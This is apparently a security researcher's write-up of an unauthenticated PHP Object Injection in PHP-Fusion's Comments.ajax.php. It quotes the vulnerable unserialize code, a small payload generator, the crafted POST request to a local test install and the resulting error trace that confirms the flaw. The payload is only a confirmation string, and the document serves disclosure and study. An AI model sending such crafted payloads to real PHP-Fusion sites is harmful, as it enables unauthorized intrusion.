After I found some vulnerability, I figured it was time to look for something more fun to exploit. And that’s when the code on this page made me tick.

File: <ROOT>/includes/classes/PHPFusion/Feedback/Comments.ajax.php


...

require_once __DIR__.'/../../../../maincore.php';
require_once THEME."theme.php";
require_once THEMES."templates/render_functions.php";
require_once INCLUDES."comments_include.php";

if (isset($_GET['action']) && iMEMBER) {

    ...

} else {
    $ajax_respond = \defender::unserialize($_POST['comment_options']);
    $ajax_respond['comment_custom_script'] = TRUE;
    echo PHPFusion\Feedback\Comments::getInstance($ajax_respond, $ajax_respond['comment_key'])->showComments();
}

So according to line $ajax_respond = \defender::unserialize($_POST['comment_options']); there is a kind of unserialize performed on an input that we control and this as a unauthenticated user. Let’s take a closer look at what this function does.

File: <ROOT>/includes/defender.inc

/**
* Read serialized array
*
* @param $string - serialized string
*
* @return array|mixed
*/
public static function unserialize( $string ) {

    $return_default = [];
    if ( !empty( $string ) ) {
        $array = unserialize( base64_decode( $string ) );
        if ( !empty( $array ) ) {
            return $array;
        }
    }

    return $return_default;
}

Okay, that’s what I thought we were dealing with a PHP Object Injection. Just to confirm that it is exploitable without authentication, we just send a request with a crafted payload.

Create the following file:

File: gen.php

<?php

$array = base64_encode(serialize('test'));
var_dump($array);

?>

Which once executed gives:

▶ php gen.php
string(16) "czo0OiJ0ZXN0Ijs="

Now all we have to do is send the request.

Request:

POST /projects/php-fusion/includes/classes/PHPFusion/Feedback/Comments.ajax.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 32

comment_options=czo0OiJ0ZXN0Ijs=

Response:

HTTP/1.1 200 OK
Date: Thu, 21 May 2020 17:17:35 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP-Fusion 9.03.50
Set-Cookie: fusion1LSF9_session=5ee172f399ee5a3a651548b152168581; expires=Sat, 23-May-2020 17:17:35 GMT; Max-Age=172800; path=/
Set-Cookie: fusion1LSF9_visited=yes; expires=Fri, 21-May-2021 17:17:35 GMT; Max-Age=31536000; path=/
Set-Cookie: fusion1LSF9_lastvisit=1590077855; expires=Thu, 21-May-2020 18:17:35 GMT; Max-Age=3600; path=/projects/php-fusion/; domain=127.0.0.1; HttpOnly
Vary: Accept-Encoding
Cache-Control: max-age=1, private, must-revalidate
Content-Length: 2161
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<font size='1'><table class='xdebug-error xe-uncaught-exception' dir='ltr' border='1' cellspacing='0' cellpadding='1'>
<tr><th align='left' bgcolor='#f57900' colspan="5"><span style='background-color: #cc0000; color: #fce94f; font-size: x-large;'>( ! )</span> Fatal error: Uncaught TypeError: Argument 1 passed to PHPFusion\Feedback\Comments::getInstance() must be of the type array, string given, called in /var/www/html/projects/php-fusion/includes/classes/PHPFusion/Feedback/Comments.ajax.php on line 74 and defined in /var/www/html/projects/php-fusion/includes/classes/PHPFusion/Feedback/Comments.inc on line <i>127</i></th></tr>
<tr><th align='left' bgcolor='#f57900' colspan="5"><span style='background-color: #cc0000; color: #fce94f; font-size: x-large;'>( ! )</span> TypeError: Argument 1 passed to PHPFusion\Feedback\Comments::getInstance() must be of the type array, string given, called in /var/www/html/projects/php-fusion/includes/classes/PHPFusion/Feedback/Comments.ajax.php on line 74 in /var/www/html/projects/php-fusion/includes/classes/PHPFusion/Feedback/Comments.inc on line <i>127</i></th></tr>
<tr><th align='left' bgcolor='#e9b96e' colspan='5'>Call Stack</th></tr>
<tr><th align='center' bgcolor='#eeeeec'>#</th><th align='left' bgcolor='#eeeeec'>Time</th><th align='left' bgcolor='#eeeeec'>Memory</th><th align='left' bgcolor='#eeeeec'>Function</th><th align='left' bgcolor='#eeeeec'>Location</th></tr>
<tr><td bgcolor='#eeeeec' align='center'>1</td><td bgcolor='#eeeeec' align='center'>0.0010</td><td bgcolor='#eeeeec' align='right'>409384</td><td bgcolor='#eeeeec'>{main}(  )</td><td title='/var/www/html/projects/php-fusion/includes/classes/PHPFusion/Feedback/Comments.ajax.php' bgcolor='#eeeeec'>.../Comments.ajax.php<b>:</b>0</td></tr>
<tr><td bgcolor='#eeeeec' align='center'>2</td><td bgcolor='#eeeeec' align='center'>0.0635</td><td bgcolor='#eeeeec' align='right'>4237072</td><td bgcolor='#eeeeec'>PHPFusion\Feedback\Comments::getInstance(  )</td><td title='/var/www/html/projects/php-fusion/includes/classes/PHPFusion/Feedback/Comments.ajax.php' bgcolor='#eeeeec'>.../Comments.ajax.php<b>:</b>74</td></tr>
</table></font>

The vulnerability is confirmed.

In case I find a way to go further with this vulnerability I will post a new chapter.